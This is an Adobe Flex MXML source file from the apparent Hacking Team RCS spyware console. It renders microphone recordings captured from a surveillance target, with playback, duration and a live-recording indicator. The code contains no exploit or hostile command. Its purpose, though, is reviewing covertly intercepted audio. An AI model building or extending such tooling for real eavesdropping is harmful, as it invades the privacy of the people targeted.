hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/evidences/renderers/Mic.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<renderers:EvidenceDataRenderer xmlns:fx="http://ns.adobe.com/mxml/2009"
                                                                xmlns:s="library://ns.adobe.com/flex/spark"
                                                                xmlns:mx="library://ns.adobe.com/flex/mx"
                                                                xmlns:renderers="it.ht.rcs.console.operations.view.evidences.renderers.*"
                                                                focusOut="onFocusOut()"
                                                                focusIn="onFocusIn()" 
                                                                width="100%">

    <fx:Script>
        <![CDATA[
            import it.ht.rcs.console.DB;
            import it.ht.rcs.console.evidence.controller.EvidenceManager;
      import flashx.textLayout.conversion.TextConverter;
      import it.ht.rcs.console.utils.TimeUtils;
      import locale.R;

            private var _sound:Sound;
            private var _channel:SoundChannel;
            private var _playingTime:int;
            private var _pausePoint:Number=0;
            private var _isPlaying:Boolean=false;
            private var _isLoaded:Boolean=false;
            private var _url:String;
            private var _hasFocus:Boolean;
            private var _duration:Number;
            private var _position:Number;

            [Bindable]
            [Embed(source="/img/mediaplayers/recording.swf")]
            public var RecordingIcon:Class;
      [Bindable]
      private var url:String;

            [Bindable]
            override public function set data(value:*):void
            {
                super.data=value;
        miniPlayer.reset();
        var id:String=encodeURIComponent(data.data._grid);
        var target:String=encodeURIComponent(EvidenceManager.instance.evidenceFilter.target);
        url=DB.hostAutocomplete(Console.currentSession.server) + "grid/" + id + "?target_id=" + target;
        dataTxt.textFlow=TextConverter.importToFlow("<b>"+R.get('DURATION')+": </b>"+TimeUtils.formatTime(data.data.duration*1000), TextConverter.TEXT_FIELD_HTML_FORMAT);
        miniPlayer.urlTxt.text=url;
        
        recordingBox.visible=false;
        
        if (data.data.status == "recording")
        {
          recordingBox.visible=true;
        }
        
            }
      
            private function onFocusOut():void
            {
                miniPlayer.hasFocus=false;
            }

            private function onFocusIn():void
            {
                miniPlayer.hasFocus=true;
            }
      private function onPlay():void
      {
        var id:String=encodeURIComponent(data.data._grid);
        var target:String=encodeURIComponent(EvidenceManager.instance.evidenceFilter.target);
        url=DB.hostAutocomplete(Console.currentSession.server) + "grid/" + id + "?target_id=" + target;
        miniPlayer.loadSound(url)
      }
        ]]>
    </fx:Script>
    <s:VGroup verticalAlign="middle"
                        height="100%"
                        width="100%">
        <s:HGroup>
            <s:RichText id="dataTxt"/>
      <s:Spacer width="100%"/>
      <s:HGroup id="recordingBox"
                horizontalAlign="right"
                visible="false">
        <s:SWFLoader source="{RecordingIcon}"/>
        <s:Label text="Recording..."/>
      </s:HGroup>
        </s:HGroup>
        <s:Line width="100%">
            <s:stroke>
                <s:SolidColorStroke color="0xCCCCCC"/>
            </s:stroke>
        </s:Line>
    <renderers:SoundMiniPlayer id="miniPlayer" play="onPlay()"/>
    </s:VGroup>
</renderers:EvidenceDataRenderer>